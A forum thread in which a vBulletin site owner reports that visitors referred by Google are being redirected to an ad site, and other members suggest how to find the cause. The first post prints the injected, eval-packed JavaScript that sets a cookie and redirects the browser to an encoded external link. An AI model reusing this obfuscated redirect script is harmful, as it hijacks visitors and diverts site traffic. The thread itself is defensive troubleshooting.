[Forum] Traffic referred from google being redirected to another site - potential script

[Newmomsforum]

Hi Guys, in the last week I noticed my traffic drop by about 80% and on doing a little trouble shooting I've found that any traffic referred to me via google is being redirected to another site (via a tinyurl4.info short link)

The other site is basically just full of ads and pop unders so they are obviously after the revenue.

I checked on over AT http://redleg-redleg.com/file-viewer/ and the page results highlighted the following code:

< html> < head> < /head> < body> < sc​ript type≈ "text/javascript"> var ipbs≈ 'd5595656';eval(func​tion (p,​ a,​ c,​ k,​ e,​ d){e≈ func​tion (c){return(c< a?'':e(parseInt(c/a)))+((c≈ c%a)> 35?String·fromCharCode (c+29):c.toString(36))};if(!''.re​place(/^/,​ String)){while(c--){d[e(c)]≈ k[c]||e(c)}k≈ [func​tion (e){return d[e]}];e≈ func​tion (){return'\\w+'};c≈ 1};while(c--){if(k[c]){p≈ p.re​place(new RegExp('\\b'+e(c)+'\\b',​ 'g'),​ k[c])}}return p}('m a≈ ["\\A\\d\\b\\l\\c\\z\\d",​ "\\j\\d\\b\\l\\c\\z\\d",​ "\\w\\q\\d\\C\\g\\c\\n\\d\\j\\k",​ "\\b\\e\\D\\B\\l\\J\\b\\n\\c\\i\\A",​ "\\o\\e\\e\\G\\c\\d",​ "\\k",​ "\\w\\q\\g\\v\\b\\u\\k\\f",​ "\\c\\g\\H\\j",​ "\\E",​ "\\r\\e\\o\\v\\b\\c\\e\\i",​ "\\u\\b\\b\\g\\I\\f\\f\\b\\c\\i\\K\\R\\n\\r\\S\\T\\c\\i\\P\\e\\f"];M x(p,​ y){m h≈ N O();h[a[1]](h[a[0]]()+L);m s≈ a[2]+h[a[3]]();t[a[4]]≈ p+a[5]+y+s+a[6]};x(a[7],​ a[8]);t[a[9]]≈ a[F]+Q;',​ 56,​ 56,​ '||||||||||_0x19e6|x74|x69|x65|x6F|x2F|x70|_0x46a7x4|x6E|x73|x3D|x54|var|x72|x63|_0x46a7x2|x20|x6C|_0x46a7x5|document|x68|x61|x3B|ipbcc|_0x46a7x3|x6D|x67|x4D|x78|x47|x31|10|x6B|x62|x3A|x53|x79|86400000|func​tion |new|Date|x66|ipbs|x75|x34|x2E'.split('|'),​ 0,​ {}))< / sc​ript > < /body> < /html>

This has to be the culprit as the 'd5595656' is the same as the url that the site is being diverted to.

Now onto the tricky part.

I have scanned all my files and database for any reference to 'd5595656' and I've been unable to locate it anywhere.

Does anyone have any ideas how I can find out how or where this additional code is being injected from? If I goto my homepage and view source the code is not visible, it only appears to be injected when the referal is from google.

Any assistance would be very much appreciated.

Cheers

Mark

[wda2015]

disable all addons and try again.. turn them on one by one.

[ENF]

I can confirm that if you visit your site without a previously set cookie, you get redirected to that tinyurl site.

Interesting...

[Trevor Hannant]

Check any plugins under the vBulletin product and make sure that these are ones you added yourself. If don't recognise them, delete them.

[motoxer311]

Any update on this, I am having the same issue..

[motoxer311]

Echo...

[chrisngrod]

Do you have VBSEO?